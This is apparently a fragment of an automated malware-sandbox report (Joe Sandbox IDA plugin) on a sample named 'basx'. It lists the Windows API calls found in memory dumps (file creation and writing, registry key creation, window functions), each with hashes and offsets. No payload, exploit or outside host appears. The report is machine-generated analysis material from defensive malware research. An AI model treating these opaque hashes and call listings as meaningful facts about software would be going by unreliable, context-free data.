                                                                                          • Instruction Fuzzy Hash: 5AF0B471248300BFE705DF62ECA6B35B6E8D748714F61047BF40886590E97D5844D51E
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3934441357-0
                                                                                          • Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
                                                                                          • Instruction ID: 51b66c86ab1fb2ed9abdb0db83839a26410808368eb32e0cb4295e2ee82716ff
                                                                                          • Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
                                                                                          • Instruction Fuzzy Hash: 09F04970608109EBBB1CCF58D0618AF7BA0EB48300F2080AFE907C7BA0D634AA80D658
                                                                                          APIs
                                                                                          • CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,00000000,00400000,?), ref: 00416585
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateWindow
                                                                                          • String ID:
                                                                                          • API String ID: 716092398-0
                                                                                          • Opcode ID: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
                                                                                          • Instruction ID: 158b8484bb218b41c698b3aa21f26e2dd86497bc01e640ef524e7c8f4c0ee3c6
                                                                                          • Opcode Fuzzy Hash: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
                                                                                          • Instruction Fuzzy Hash: 4BF019B2200510AFDB84DE9CD9C0F9773ECEB0C210B0481A6FA08CB21AD220EC108BB0
                                                                                          APIs
                                                                                          • KiUserCallbackDispatcher.NTDLL(?,?), ref: 004149EF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CallbackDispatcherUser
                                                                                          • String ID:
                                                                                          • API String ID: 2492992576-0
                                                                                          • Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
                                                                                          • Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
                                                                                          • Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
                                                                                          • Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00450804
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFile
                                                                                          • String ID:
                                                                                          • API String ID: 823142352-0
                                                                                          • Opcode ID: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
                                                                                          • Instruction ID: 52eb814c7c241dc182afdc6c3e242d4e4c9a4e6d94000e289351c80ae23ff87c
                                                                                          • Opcode Fuzzy Hash: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
                                                                                          • Instruction Fuzzy Hash: 53E012B53541483EE780EEAD6C42F9777DC971A714F008037B998D7341D461DD158BA8
                                                                                          APIs
                                                                                          • GetFileAttributesA.KERNEL32(00000000,00000000,0042CD14,?,00000001,?,?,00000000,?,0042CD66,00000000,00452A25,00000000,00452A46,?,00000000), ref: 0042CCF7
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AttributesFile
                                                                                          • String ID:
                                                                                          • API String ID: 3188754299-0
                                                                                          • Opcode ID: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
                                                                                          • Instruction ID: d3c11148bbbe1678040d416a6bc301cfea82702c80b798926358c5e84281cc0e
                                                                                          • Opcode Fuzzy Hash: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
                                                                                          • Instruction Fuzzy Hash: 80E065B1304304BFD701EB66EC92A5EBAACDB49754BA14876B50097592D5B86E008468
                                                                                          APIs
                                                                                          • FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FormatMessage
                                                                                          • String ID:
                                                                                          • API String ID: 1306739567-0
                                                                                          • Opcode ID: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
                                                                                          • Instruction ID: fbc307da5c1359fbfbc351051067b699ae1438aedf6613c80dda169529e76e7e
                                                                                          • Opcode Fuzzy Hash: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
                                                                                          • Instruction Fuzzy Hash: BCE0206278431116F2353416AC47B77150E43C0708F944027BB90DF3D3D6AF9945D25E
                                                                                          APIs
                                                                                          • GetTextExtentPointA.GDI32(?,00000000,00000000), ref: 0041AF9B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExtentPointText
                                                                                          • String ID:
                                                                                          • API String ID: 566491939-0
                                                                                          • Opcode ID: fe3873e992a20e622ffaf78f93863b288a9be0a8311253c2d6346deae250c6a6
                                                                                          • Instruction ID: 6b43be1268843882f9474f888990ee0a0f71ddbfb678ee1088bae751a0726d8f
                                                                                          • Opcode Fuzzy Hash: fe3873e992a20e622ffaf78f93863b288a9be0a8311253c2d6346deae250c6a6
                                                                                          • Instruction Fuzzy Hash: E3E086F13097102BD600E67E1DC19DB77DC8A483697148177F458E7392D62DDE1A43AE
                                                                                          APIs
                                                                                          • CreateWindowExA.USER32(00000000,0042367C,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00406311
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateWindow
                                                                                          • String ID:
                                                                                          • API String ID: 716092398-0
                                                                                          • Opcode ID: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
                                                                                          • Instruction ID: 53e57476791a39574122dfc8a3f58f2f78c4a621b5a82e38d1c80b15216a1e52
                                                                                          • Opcode Fuzzy Hash: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
                                                                                          • Instruction Fuzzy Hash: EEE0FEB2214209BBDB00DE8ADCC1DABB7ACFB4C654F808105BB1C972428275AC608B71
                                                                                          APIs
                                                                                          • RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Create
                                                                                          • String ID:
                                                                                          • API String ID: 2289755597-0
                                                                                          • Opcode ID: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
                                                                                          • Instruction ID: 68673b5cf84413dff1d7ecec16939cb2303f89f305828e6cd22260af4b89741b
                                                                                          • Opcode Fuzzy Hash: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
                                                                                          • Instruction Fuzzy Hash: EDE07EB2610119AF9B40DE8CDC81EEB37ADAB1D350F404016FA08E7200C2B4EC519BB4
                                                                                          APIs
                                                                                          • FindClose.KERNEL32(00000000,000000FF,0047096C,00000000,00471782,?,00000000,004717CB,?,00000000,00471904,?,00000000,?,00000000), ref: 00454C0E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseFind
                                                                                          • String ID:
                                                                                          • API String ID: 1863332320-0
                                                                                          • Opcode ID: 6665614e34a0f7cff573ca1669b2a109aa27f3c0ddffd1931b228eca5c2d9aab
                                                                                          • Instruction ID: 5c2dbd3a099336849a47a332199978da45cb785deb8a29a76394180ab3bc5383
                                                                                          • Opcode Fuzzy Hash: 6665614e34a0f7cff573ca1669b2a109aa27f3c0ddffd1931b228eca5c2d9aab
                                                                                          • Instruction Fuzzy Hash: A1E09BB09097004BC715DF39858031A76D19FC9325F05C96AEC99CF3D7E77D84454617
                                                                                          APIs
                                                                                          • KiUserCallbackDispatcher.NTDLL(004959E6,?,00495A08,?,?,00000000,004959E6,?,?), ref: 0041469B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CallbackDispatcherUser
                                                                                          • String ID:
                                                                                          • API String ID: 2492992576-0
                                                                                          • Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
                                                                                          • Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
                                                                                          • Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
                                                                                          • Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0
                                                                                          APIs
                                                                                          • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406F24
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3934441357-0
                                                                                          • Opcode ID: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
                                                                                          • Instruction ID: adeaf4ebd0e6cd94d64be6b3cb299443ba394f13a0b1cd3d8337db6b6af80796
                                                                                          • Opcode Fuzzy Hash: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
                                                                                          • Instruction Fuzzy Hash: 53D012722091506AD220965A6C44EAB6BDCCBC5770F11063AB558C2181D7209C01C675
                                                                                          APIs
                                                                                            • Part of subcall function 004235F8: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 0042360D
                                                                                          • ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667
                                                                                            • Part of subcall function 00423628: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 00423644
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoParametersSystem$ShowWindow
                                                                                          • String ID:
                                                                                          • API String ID: 3202724764-0
                                                                                          • Opcode ID: 749b279e1c5e0ab7b3e77853442b745bf30ea7cb0c28c018a636783dda1148f2
                                                                                          • Instruction ID: 3e39ddd90fb628193caaea160b6f4ed5bf244f394cc2da11a07db6b12dca8b82
                                                                                          • Opcode Fuzzy Hash: 749b279e1c5e0ab7b3e77853442b745bf30ea7cb0c28c018a636783dda1148f2
                                                                                          • Instruction Fuzzy Hash: 34D05E123821703142307ABB280699B46EC8D822EB389043BB5449B312ED5DCE01116C
                                                                                          APIs
                                                                                          • SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: TextWindow
                                                                                          • String ID:
                                                                                          • API String ID: 530164218-0
                                                                                          • Opcode ID: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
                                                                                          • Instruction ID: e359d8c046b4275bb87a72ac3440150ee0889cd0e7de0465f76ccf46c1161c2e
                                                                                          • Opcode Fuzzy Hash: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
                                                                                          • Instruction Fuzzy Hash: 81D05EE27011602BCB01BAED54C4AC667CC9B8D25AB1840BBF904EF257D638CE40C398
                                                                                          APIs
                                                                                          • KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00467828,00000000,00000000,00000000,0000000C,00000000), ref: 00466B58
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CallbackDispatcherUser
                                                                                          • String ID:
                                                                                          • API String ID: 2492992576-0
                                                                                          • Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
                                                                                          • Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
                                                                                          • Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
                                                                                          • Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0
                                                                                          APIs
                                                                                          • GetFileAttributesA.KERNEL32(00000000,00000000,004515CB,00000000), ref: 0042CD2F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AttributesFile
                                                                                          • String ID:
                                                                                          • API String ID: 3188754299-0
                                                                                          • Opcode ID: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
                                                                                          • Instruction ID: 53db4a1afaa3b7bebcc80daf879f764776582c58df104e6651e2d127eece83ed
                                                                                          • Opcode Fuzzy Hash: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
                                                                                          • Instruction Fuzzy Hash: 48C08CE03222001A9E60A6BD2CC551F06CC891423A3A41E3BB129EB2E2D23D88162818
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A6D4,0040CC80,?,00000000,?), ref: 00406EDD
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFile
                                                                                          • String ID:
                                                                                          • API String ID: 823142352-0
                                                                                          • Opcode ID: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
                                                                                          • Instruction ID: fbce42704b7dd2fd8be74a622cf743b4adaa06f64be9adac3ea2875d17ee2119
                                                                                          • Opcode Fuzzy Hash: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
                                                                                          • Instruction Fuzzy Hash: EAC048A13C130032F92035A60C87F16008C5754F0AE60C43AB740BF1C2D8E9A818022C
                                                                                          APIs
                                                                                          • SetEndOfFile.KERNEL32(?,?,0045C342,00000000,0045C4CD,?,00000000,00000002,00000002), ref: 00450933
                                                                                            • Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,00497E2C,00000001,00000000,00000002,00000000,00497F8D,?,?,00000005,00000000,00497FC1), ref: 004506B7
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorFileLast
                                                                                          • String ID:
                                                                                          • API String ID: 734332943-0
                                                                                          • Opcode ID: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
                                                                                          • Instruction ID: 9573b676cf6dd5fef234c73c81a1a5d02d78d5ca05287b50762f3c98dcfac2da
                                                                                          • Opcode Fuzzy Hash: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
                                                                                          • Instruction Fuzzy Hash: 1AC04CA5700211479F10A6BA85C1A0662D86A5D3157144066BD08CF207D668D8148A18
                                                                                          APIs
                                                                                          • SetCurrentDirectoryA.KERNEL32(00000000,?,00497DBA,00000000,00497F8D,?,?,00000005,00000000,00497FC1,?,?,00000000), ref: 004072B3
                                                                                          Memory Dump Source
